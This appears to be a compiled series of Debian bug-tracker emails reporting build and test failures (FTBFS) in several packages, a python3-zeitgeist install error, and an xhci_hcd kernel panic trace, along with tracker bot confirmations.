muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_bad_assigment_case2
--
_StringException: Traceback (most recent call last):
  File "muranopkgcheck/tests/test_code_structure_checker.py", line 72, in 
test_bad_assigment_case2
self.assertIn('"res" is not valid variable name', p.message)
  File "/usr/lib/python2.7/unittest/case.py", line 804, in assertIn
self.fail(self._formatMessage(msg, standardMsg))
  File "/usr/lib/python2.7/unittest/case.py", line 410, in fail
raise self.failureException(msg)
AssertionError: '"res" is not valid variable name' not found in '"$.deploy()" 
is not valid yaql expression'


==
FAIL: 
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_bad_assigment_case2
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_bad_assigment_case2
--
_StringException: Traceback (most recent call last):
  File "muranopkgcheck/tests/test_validator_helpers.py", line 27, in tearDown
self.assertEqual(len(problems), 0)
  File "/usr/lib/python2.7/unittest/case.py", line 513, in assertEqual
assertion_func(first, second, msg=msg)
  File "/usr/lib/python2.7/unittest/case.py", line 506, in _baseAssertEqual
raise self.failureException(msg)
AssertionError: 2 != 0


==
FAIL: 
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_multiline
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_multiline
--
_StringException: Traceback (most recent call last):
  File "muranopkgcheck/tests/test_validator_helpers.py", line 27, in tearDown
self.assertEqual(len(problems), 0)
  File "/usr/lib/python2.7/unittest/case.py", line 513, in assertEqual
assertion_func(first, second, msg=msg)
  File "/usr/lib/python2.7/unittest/case.py", line 506, in _baseAssertEqual
raise self.failureException(msg)
AssertionError: 2 != 0


==
FAIL: 
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_simple
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_simple
--
_StringException: Traceback (most recent call last):
  File "muranopkgcheck/tests/test_validator_helpers.py", line 27, in tearDown
self.assertEqual(len(problems), 0)
  File "/usr/lib/python2.7/unittest/case.py", line 513, in assertEqual
assertion_func(first, second, msg=msg)
  File "/usr/lib/python2.7/unittest/case.py", line 506, in _baseAssertEqual
raise self.failureException(msg)
AssertionError: 1 != 0


==
FAIL: 
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_not_empty
muranopkgcheck.tests.test_code_structure_checker.CodeStructureTest.test_not_empty
--
_StringException: Traceback (most recent call last):
  File "muranopkgcheck/tests/test_code_structure_checker.py", line 173, in 
test_not_empty
next(self.g).message)
  File "/usr/lib/python2.7/unittest/case.py", line 804, in assertIn
self.fail(self._formatMessage(msg, standardMsg))
  File "/usr/lib/python2.7/unittest/case.py", line 410, in fail
raise self.failureException(msg)
AssertionError: 'Statement 

Bug#892661: node-static-extend: FTBFS and Debci failure

[Adrian Bunk]

Source: node-static-extend
Version: 0.1.2-1
Severity: serious
Tags: buster sid

Some recent change in unstable makes node-static-extend FTBFS and Debci fail:

https://ci.debian.net/packages/n/node-static-extend/unstable/amd64/
https://tests.reproducible-builds.org/debian/history/node-static-extend.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/node-static-extend.html

...
  9 passing (18ms)
  2 failing

  1) extend
   should add `Parent.prototype` to `Ctor` instances as `_parent_`:

  AssertionError [ERR_ASSERTION]: { configurable: true,
  set: [Function: set],
  get: [Function: get] } deepEqual Parent { a: [Function], b: [Function], c: 
[Function] }
  + expected - actual

   {
  -  "configurable": true
  -  "get": [Function]
  -  "set": [Function]
  +  "a": [Function]
  +  "b": [Function]
  +  "c": [Function]
   }
  
  at Context. (test.js:38:12)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:354:21)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:329:7
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:301:5)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Hook.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at next (/usr/lib/nodejs/mocha/lib/runner.js:304:10)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)

  2) extend
   should access `Parent` methods through `_parent_`:
 TypeError: this._parent_.upper is not a function
  at Ctor.instance.upper (test.js:58:28)
  at Context. (test.js:60:27)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:354:21)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:329:7
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:301:5)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Hook.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at next (/usr/lib/nodejs/mocha/lib/runner.js:304:10)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)



make[1]: *** [debian/rules:13: override_dh_auto_test] Error 2

Bug#892658: node-ip FTBFS with mocha 4.0.1-3

[Adrian Bunk]

Source: node-ip
Version: 1.1.5-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/node-ip.html

...
   debian/rules override_dh_auto_test
make[1]: Entering directory '/build/1st/node-ip-1.1.5'
mocha --reporter spec
/usr/lib/nodejs/mocha/lib/suite.js:47
throw new Error('Suite `title` should be a "string" but "' + typeof title + 
'" was given instead.');
^

Error: Suite `title` should be a "string" but "undefined" was given instead.
at new Suite (/usr/lib/nodejs/mocha/lib/suite.js:47:11)
at Function.exports.create (/usr/lib/nodejs/mocha/lib/suite.js:31:15)
at Object.create (/usr/lib/nodejs/mocha/lib/interfaces/common.js:104:27)
at context.describe.context.context 
(/usr/lib/nodejs/mocha/lib/interfaces/bdd.js:44:27)
at /build/1st/node-ip-1.1.5/test/api-test.js:363:9
at Array.forEach ()
at Suite. (/build/1st/node-ip-1.1.5/test/api-test.js:362:37)
at Object.create (/usr/lib/nodejs/mocha/lib/interfaces/common.js:112:19)
at context.describe.context.context 
(/usr/lib/nodejs/mocha/lib/interfaces/bdd.js:44:27)
at Suite. (/build/1st/node-ip-1.1.5/test/api-test.js:361:5)
at Object.create (/usr/lib/nodejs/mocha/lib/interfaces/common.js:112:19)
at context.describe.context.context 
(/usr/lib/nodejs/mocha/lib/interfaces/bdd.js:44:27)
at Suite. (/build/1st/node-ip-1.1.5/test/api-test.js:354:3)
at Object.create (/usr/lib/nodejs/mocha/lib/interfaces/common.js:112:19)
at context.describe.context.context 
(/usr/lib/nodejs/mocha/lib/interfaces/bdd.js:44:27)
at Object. (/build/1st/node-ip-1.1.5/test/api-test.js:8:1)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
at Function.Module._load (module.js:489:3)
at Module.require (module.js:579:17)
at require (internal/module.js:11:18)
at /usr/lib/nodejs/mocha/lib/mocha.js:231:27
at Array.forEach ()
at Mocha.loadFiles (/usr/lib/nodejs/mocha/lib/mocha.js:228:14)
at Mocha.run (/usr/lib/nodejs/mocha/lib/mocha.js:514:10)
at Object. (/usr/lib/nodejs/mocha/bin/_mocha:484:18)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
at Function.Module._load (module.js:489:3)
at Function.Module.runMain (module.js:676:10)
at startup (bootstrap_node.js:187:16)
at bootstrap_node.js:608:3
make[1]: *** [debian/rules:13: override_dh_auto_test] Error 1

Bug#892656: node-define-property: FTBFS and Debci failure

[Adrian Bunk]

Source: node-define-property
Version: 1.0.0-1
Severity: serious

Some recent change in unstable makes node-define-property FTBFS and Debci fail:

https://ci.debian.net/packages/n/node-define-property/unstable/amd64/
https://tests.reproducible-builds.org/debian/history/node-define-property.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/node-define-property.html

...
  3 passing (13ms)
  1 failing

  1) define
   should define a property with accessor descriptors::

  AssertionError [ERR_ASSERTION]: 'bar' == 'baz'
  + expected - actual

  -bar
  +baz
  
  at Context. (test.js:40:12)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:354:21)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)



make[1]: *** [debian/rules:7: override_dh_auto_test] Error 1

Bug#892655: node-class-utils: FTBFS and Debci failure

[Adrian Bunk]

Source: node-class-utils
Version: 0.3.5-1
Severity: serious

Some recent change in unstable makes node-class-utils FTBFS and Debci fail:

https://ci.debian.net/packages/n/node-class-utils/unstable/amd64/
https://tests.reproducible-builds.org/debian/history/node-class-utils.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/node-class-utils.html


  49 passing (1s)
  2 failing

  1) extend
   should add `Parent.prototype` to `Ctor` instances as `_parent_`:

  AssertionError [ERR_ASSERTION]: { configurable: true,
  set: [Function: set],
  get: [Function: get] } deepEqual Parent { a: [Function], b: [Function], c: 
[Function] }
  + expected - actual

   {
  -  "configurable": true
  -  "get": [Function]
  -  "set": [Function]
  +  "a": [Function]
  +  "b": [Function]
  +  "c": [Function]
   }
  
  at Context. (test.js:376:12)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:354:21)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:329:7
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:301:5)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Hook.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at next (/usr/lib/nodejs/mocha/lib/runner.js:304:10)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)

  2) extend
   should access `Parent` methods through `_parent_`:
 TypeError: this._parent_.upper is not a function
  at Ctor.instance.upper (test.js:396:28)
  at Context. (test.js:398:27)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:354:21)
  at Test.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at Runner.runTest (/usr/lib/nodejs/mocha/lib/runner.js:442:10)
  at /usr/lib/nodejs/mocha/lib/runner.js:560:12
  at next (/usr/lib/nodejs/mocha/lib/runner.js:356:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:366:7
  at next (/usr/lib/nodejs/mocha/lib/runner.js:290:14)
  at /usr/lib/nodejs/mocha/lib/runner.js:329:7
  at done (/usr/lib/nodejs/mocha/lib/runnable.js:301:5)
  at callFn (/usr/lib/nodejs/mocha/lib/runnable.js:372:7)
  at Hook.Runnable.run (/usr/lib/nodejs/mocha/lib/runnable.js:346:7)
  at next (/usr/lib/nodejs/mocha/lib/runner.js:304:10)
  at Immediate. (/usr/lib/nodejs/mocha/lib/runner.js:334:5)



make[1]: *** [debian/rules:13: override_dh_auto_test] Error 2

Bug#892530: Pending fixes for bugs in the javatools package

[pkg-java-maintainers]

tag 892530 + pending
thanks

Some bugs in the javatools package are closed in revision
f2617778fd59781500765544be44f03b2240c1ed in branch 'master' by tony
mancill

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-java/javatools.git/commit/?id=f261777

Commit message:

Drop dependency on gcj-jdk (Closes: #892530)

Processed: Pending fixes for bugs in the javatools package

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tag 892530 + pending
Bug #892530 [src:javatools] javatools: Depends on GCJ which is going away
Added tag(s) pending.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892530: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892530
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892653: gretl FTBFS with glibc 2.27

[Adrian Bunk]

Source: gretl
Version: 2017d-3
Severity: serious
Tags: fixed-upstream patch

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gretl.html

...
../cephes/iv.c: In function 'cephes_bessel_Iv':
../cephes/iv.c:70:19: error: 'DOMAIN' undeclared (first use in this function)
  mtherr("iv", DOMAIN);
   ^~
../cephes/iv.c:70:19: note: each undeclared identifier is reported only once 
for each function it appears in
make[2]: *** [Makefile:312: iv.lo] Error 1


Upstream fix:
https://sourceforge.net/p/gretl/git/ci/aec91eededdf618d42923276094b7c1b57dc034e/

Bug#891615: marked as done (python3-zeitgeist: python3 invalid syntax error during installation)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 19:22:32 +
with message-id 
and subject line Bug#891615: fixed in zeitgeist 1.0.1-0.2
has caused the Debian Bug report #891615,
regarding python3-zeitgeist: python3 invalid syntax error during installation
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891615: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891615
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-zeitgeist
Version: 1.0.1-0.1
Severity: normal

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Dear Maintainer,

While upgrading python3-zeitgeist, I got a python3 invalid syntax error:

> LANG=C sudo apt install python3-zeitgeist
[sudo] password for jbfavre: 
Reading package lists... Done
Building dependency tree   
Reading state information... Done
python3-zeitgeist is already the newest version (1.0.1-0.1).
python3-zeitgeist set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
2 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] 
Setting up python3-zeitgeist (1.0.1-0.1) ...
  File "/usr/lib/python3/dist-packages/zeitgeist/client.py", line 121
except dbus.exceptions.DBusException, e:
^
SyntaxError: invalid syntax

  File "/usr/lib/python3/dist-packages/zeitgeist/datamodel.py", line 144
except KeyError, e:
   ^
SyntaxError: invalid syntax

dpkg: error processing package python3-zeitgeist (--configure):
 installed python3-zeitgeist package post-installation script subprocess 
returned error exit status 1
dpkg: dependency problems prevent configuration of zeitgeist:
 zeitgeist depends on python3-zeitgeist; however:
  Package python3-zeitgeist is not configured yet.

dpkg: error processing package zeitgeist (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 python3-zeitgeist
 zeitgeist
E: Sub-process /usr/bin/dpkg returned an error code (1)

This error occurs at postinst level, when trying to compile python files with 
command "py3compile -p python3-zeitgeist"

Regards,
JB


- -- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'stable'), (500, 'oldstable'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages python3-zeitgeist depends on:
ii  python3   3.6.4-1
ii  python3-dbus  1.2.6-1
ii  python3-gi3.26.1-2
ii  python3-xdg   0.25-4

python3-zeitgeist recommends no packages.

python3-zeitgeist suggests no packages.

- -- no debconf information

-BEGIN PGP SIGNATURE-

iQKTBAEBCgB9FiEEToRbojDLTUSJBphHtN1Tas99hzcFAlqVADlfFIAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDRF
ODQ1QkEyMzBDQjRENDQ4OTA2OTg0N0I0REQ1MzZBQ0Y3RDg3MzcACgkQtN1Tas99
hzf61RAArc33j3JQnKfroOE6Xwgs8TaLPDhxoxpyhrJvjzdLR2tXUPh5w9ov9+FR
4U8lgMeooKJSQaNcSpDL7XZ/xJLFxmd6FdG3aQS0BEHZn/ioXqw35+mzLWvj8SJe
RU/ICFrDEEQSThokRen0dNhDrBB9+IaMmsX2oUYnbq0ro4ovqBwqtTQEU9UOO+pm
Xmg0nn93Y4Unt8Lupg975iaaR6z8y7ajnEg+kGdN2FH9aUnMpmL8XNXowOeTxPF+
RbMDBLpp/+IUd35ySm9r8OsM5sWzXbtIaOzVEQZ8K86mvhpcJDiQ2/3G/kwMiTF2
MGUIB6mQzz+7cWWxM17PIzCpseklV0bB1kcZjTGfE37F+l1pc5lgQ16eApZOPaKF
VWYl5pilEagJ66k6uVxoLDPoMiWfBVrS0Ce1RK9QX/lajA5m+AIXUp7gOzedpJSr
dYAGLQa/k7L4p6PJ2gNHQGGJh2qUwVtXNun5gMZI0b3D0LWPgFG11t002zb2BQYO
MUL/IrmWbEDQBH472IaB7PU4gNhsX2h1/SD+XxQFeH6sgiDJMYndaJ4p8EoMTiEa
Py9aiREjO898oiGn25PKXrTAvnCj1lDJxhKBbyRMqswZow+yWehqZvTjYgaYB2aq
B/foQRqrFm/WUOXHLMfTZuylcOnCKorXyrXLKrK72D2gGInUI/I=
=FK51
-END PGP SIGNATURE-
--- End Message ---
--- Begin Message ---
Source: zeitgeist
Source-Version: 1.0.1-0.2

We believe that the bug you reported is fixed in the latest version of
zeitgeist, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Laurent Bigonville  (supplier of updated zeitgeist package)

(This message was generated 

Bug#892652: tj3 FTBFS with Ruby 2.5

[Adrian Bunk]

Source: tj3
Version: 3.6.0-4
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/tj3.html

...
   debian/rules override_dh_auto_test
make[1]: Entering directory '/build/1st/tj3-3.6.0'
rake spec
/usr/bin/ruby2.5 /usr/bin/rspec --pattern spec/\*_spec.rb
Run options: exclude {:ruby=>#}
...FF...

Failures:

  1) TaskJuggler::Tj3 should schedule a project
 Failure/Error: res.stdErr.should == ''

   expected: ""
got: "/build/1st/tj3-3.6.0/lib/taskjuggler/deep_copy.rb:40: 
warning: constant ::Fixnum is 
deprecated\n/build/1st/tj3-3.6.0/lib/taskjuggler/Project.rb:563: warning: 
constant ::Fixnum is deprecated\n" (using ==)
   Diff:
   @@ -1 +1,3 @@
   +/build/1st/tj3-3.6.0/lib/taskjuggler/deep_copy.rb:40: warning: constant 
::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/Project.rb:563: warning: constant 
::Fixnum is deprecated
 # ./spec/Tj3_spec.rb:33:in `block (2 levels) in '

  2) TaskJuggler::TraceReport should generate a trace report
 Failure/Error: res.stdErr.should == ''

   expected: ""
got: "/build/1st/tj3-3.6.0/lib/taskjuggler/MessageHandler.rb:233: 
warning: constant ::Fixnum is 
deprecated...ld/1st/tj3-3.6.0/lib/taskjuggler/reports/CSVFile.rb:219: warning: 
constant ::Bignum is deprecated\n" (using ==)
   Diff:
   @@ -1 +1,8 @@
   +/build/1st/tj3-3.6.0/lib/taskjuggler/MessageHandler.rb:233: warning: 
constant ::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/deep_copy.rb:40: warning: constant 
::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/Project.rb:563: warning: constant 
::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/AttributeBase.rb:148: warning: 
constant ::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/AttributeBase.rb:148: warning: 
constant ::Bignum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/reports/CSVFile.rb:219: warning: 
constant ::Fixnum is deprecated
   +/build/1st/tj3-3.6.0/lib/taskjuggler/reports/CSVFile.rb:219: warning: 
constant ::Bignum is deprecated
 # ./spec/TraceReport_spec.rb:106:in `tj3'
 # ./spec/TraceReport_spec.rb:59:in `block (2 levels) in 
'

Finished in 1 minute 33.42 seconds (files took 15.89 seconds to load)
68 examples, 2 failures

Failed examples:

rspec ./spec/Tj3_spec.rb:28 # TaskJuggler::Tj3 should schedule a project
rspec ./spec/TraceReport_spec.rb:57 # TaskJuggler::TraceReport should generate 
a trace report

/usr/bin/ruby2.5 /usr/bin/rspec --pattern spec/\*_spec.rb failed
make[1]: *** [debian/rules:18: override_dh_auto_test] Error 1

Bug#892647: linux-image-4.14.0-0.bpo.3-amd64: Kernel panic, NULL pointer dereference in xhci_hcd

[enyone]

Reported issue occurs usually 1-3 times a day. USB device utilization 
increases occurance interval. Hard to reproduce other than waiting it 
occuring.


Has also a form of following panic bellow.

[ 6090.515722] list_del corruption. prev->next should be 
99e5cea8ca20, but was 99e5cea8d420

[ 6090.515757] [ cut here ]
[ 6090.515763] kernel BUG at 
/build/linux-3RM5ap/linux-4.14.13/lib/list_debug.c:53!

[ 6090.515776] invalid opcode:  [#1] SMP PTI
[ 6090.515783] Modules linked in: acpi_call(O) pci_stub vboxpci(O) 
vboxnetadp(O) vboxnetflt(O) vboxdrv(O) ctr ccm cpufreq_userspace 
cpufreq_conservative cpufreq_powersave bnep nls_ascii nls_cp437 vfat fat 
sg snd_us
b_audio snd_usbmidi_lib snd_rawmidi snd_seq_device snd_hda_codec_hdmi 
snd_hda_codec_realtek snd_hda_codec_generic arc4 wmi_bmof intel_rapl 
x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel snd_soc_skl kvm 
hci_uart btqca efi_pstore
 irqbypass iwlmvm snd_soc_skl_ipc intel_cstate snd_soc_sst_ipc btintel 
intel_uncore snd_soc_sst_dsp snd_hda_ext_core intel_rapl_perf 
snd_soc_sst_match mac80211 bluetooth snd_soc_core snd_compress 
snd_hda_intel snd_hda_codec i915 evdev jo
ydev snd_hda_core iwlwifi snd_hwdep snd_pcm iTCO_wdt efivars pcspkr 
cfg80211 drm_kms_helper serio_raw thinkpad_acpi iTCO_vendor_support
[ 6090.515874]  drbg mei_me snd_timer drm nvram ucsi_acpi i2c_algo_bit 
typec_ucsi mei intel_pch_thermal shpchp snd typec wmi ansi_cprng 
soundcore battery ac ecdh_generic rfkill video intel_lpss_acpi 
intel_lpss mfd_
core tpm_crb acpi_pad button efivarfs ip_tables x_tables autofs4 ext4 
crc16 mbcache jbd2 crc32c_generic fscrypto ecb algif_skcipher af_alg 
dm_crypt dm_mod sd_mod hid_logitech_hidpp hid_logitech_dj uas 
usb_storage scsi_mod hid_generic usb
hid netconsole configfs crct10dif_pclmul crc32_pclmul crc32c_intel 
ghash_clmulni_intel pcbc aesni_intel xhci_pci aes_x86_64 crypto_simd 
xhci_hcd e1000e glue_helper ptp cryptd pps_core psmouse nvme usbcore 
i2c_i801 nvme_core usb_common th

ermal i2c_hid hid
[ 6090.515981] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G   O
4.14.0-0.bpo.3-amd64 #1 Debian 4.14.13-1~bpo9+1
[ 6090.515988] Hardware name: LENOVO 20HD0001MX/20HD0001MX, BIOS 
N1QET72W (1.47 ) 02/24/2018

[ 6090.515994] task: 99e5d033a040 task.stack: ad9641968000
[ 6090.516008] RIP: 0010:__list_del_entry_valid+0x70/0x90
[ 6090.516015] RSP: 0018:99e5e2503dd0 EFLAGS: 00010086
[ 6090.516022] RAX: 0054 RBX: 99e5cea8ca00 RCX: 
083f
[ 6090.516027] RDX:  RSI: 00f6 RDI: 
083f
[ 6090.516032] RBP: 99e5cea8ca20 R08:  R09: 
0471
[ 6090.516037] R10:  R11:  R12: 
99e5c959e284
[ 6090.516041] R13: 99e5c959e000 R14:  R15: 
99e5c959e284
[ 6090.516047] FS:  () GS:99e5e250() 
knlGS:

[ 6090.516052] CS:  0010 DS:  ES:  CR0: 80050033
[ 6090.516057] CR2: 7f71afa2a000 CR3: 00010860a004 CR4: 
003606e0

[ 6090.516062] Call Trace:
[ 6090.516069]  
[ 6090.516097]  usb_hcd_unlink_urb_from_ep+0x22/0x50 [usbcore]
[ 6090.516120]  xhci_giveback_urb_in_irq.isra.43+0x62/0xe0 [xhci_hcd]
[ 6090.516133]  ? group_balance_cpu+0x17/0x20
[ 6090.516148]  xhci_td_cleanup+0xe7/0x170 [xhci_hcd]
[ 6090.516167]  xhci_irq+0x162d/0x1fe0 [xhci_hcd]
[ 6090.516175]  ? trigger_load_balance+0x12a/0x220
[ 6090.516184]  __handle_irq_event_percpu+0x7b/0x180
[ 6090.516193]  handle_irq_event_percpu+0x30/0x80
[ 6090.516201]  handle_irq_event+0x3c/0x60
[ 6090.516210]  handle_edge_irq+0x86/0x1d0
[ 6090.516220]  handle_irq+0x19/0x30
[ 6090.516228]  do_IRQ+0x41/0xc0
[ 6090.516236]  common_interrupt+0x98/0x98
[ 6090.516242]  
[ 6090.516252] RIP: 0010:cpuidle_enter_state+0xa2/0x2c0
[ 6090.516259] RSP: 0018:ad964196bea0 EFLAGS: 0246 ORIG_RAX: 
ff14
[ 6090.516266] RAX: 99e5e2521980 RBX: 058a0f0639da RCX: 
001f
[ 6090.516271] RDX: 058a0f0639da RSI: fffbb124fa40 RDI: 

[ 6090.516275] RBP: cd963fd0a2a0 R08:  R09: 
0008
[ 6090.516280] R10: 0340 R11: 03bf R12: 
0006
[ 6090.516285] R13: 0006 R14: 0006 R15: 
058a0ef76a4d

[ 6090.516298]  do_idle+0x188/0x1f0
[ 6090.516307]  cpu_startup_entry+0x6f/0x80
[ 6090.516316]  start_secondary+0x18b/0x1e0
[ 6090.516324]  secondary_startup_64+0xa5/0xb0
[ 6090.516330] Code: 60 9e a4 97 e8 7d 21 d5 ff 0f 0b 48 89 fe 48 c7 c7 
98 9e a4 97 e8 6c 21 d5 ff 0f 0b 48 89 fe 48 c7 c7 d0 9e a4 97 e8 5b 21 
d5 ff <0f> 0b 48 89 fe 48 c7 c7 10 9f a4 97 e8 4a 21 d5 ff 0f 0b 90 90
[ 6090.516416] RIP: __list_del_entry_valid+0x70/0x90 RSP: 
99e5e2503dd0

[ 6090.516428] ---[ end trace cddd99a8590783d5 ]---
[ 6090.552338] Kernel panic - not syncing: Fatal exception in interrupt
[ 6090.552676] Kernel Offset: 0x15c0 from 0x8100 

Processed: Re: tagging 859841, tagging 892415, tagging 892529, tagging 865585, tagging 865606, tagging 891307 ...

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 865585 - buster sid
Bug #865585 [src:apex] apex FTBFS: No rule to make target 
'debian-nslu2-armel_config'.  Stop.
Removed tag(s) sid and buster.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
865585: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=865585
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892650: zekr: Intent to request removal from Debian

[Jeremy Bicha]

Source: zekr
Version: 1.1.0+repack-2.1
Severity: serious
Tags: buster sid
X-Debbugs-CC: aelmahmo...@users.sourceforge.net

I sent an email to أحمد المحمودي (Ahmed El-Mahmoudy) December 29, 2017
asking if he was ok with me filing removal bugs for thawab and zekr. I
never received a reply.

zekr was removed from testing at the end of July 2017 because it
depends on the unmaintained  security-sensitive webkitgtk package.

zekr itself is unmaintained. Its last release was over 5 years ago.

zekr is now blocking the removal of libgnomeui (via
libswt-gnome-gtk-3-jni ). Therefore, I intend to file a removal bug
for zekr very soon.

References
--
https://lists.debian.org/debian-devel/2018/02/msg00169.html

Thanks,
Jeremy Bicha

Bug#892648: xcffib FTBFS: xcffibgen: Map.!: given key is not an element in the map

[Adrian Bunk]

Source: xcffib
Version: 0.5.1-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/xcffib.html

...
Linking dist/build/GeneratorTests.hs/GeneratorTests.hs ...
./dist/build/xcffibgen/xcffibgen --input /usr/share/xcb --output ./xcffib
xvmc
xv
xtest
xselinux
xproto
xinput
xcffibgen: Map.!: given key is not an element in the map
CallStack (from HasCallStack):
  error, called at libraries/containers/Data/Map/Base.hs:489:16 in 
containers-0.5.7.1:Data.Map.Base
make[2]: *** [Makefile:16: xcffib] Error 1

Processed: tagging 892564

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 892564 + sid
Bug #892564 [src:gnome-do] gnome-do: Update for gnome-desktop3 3.27.92+
Added tag(s) sid.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
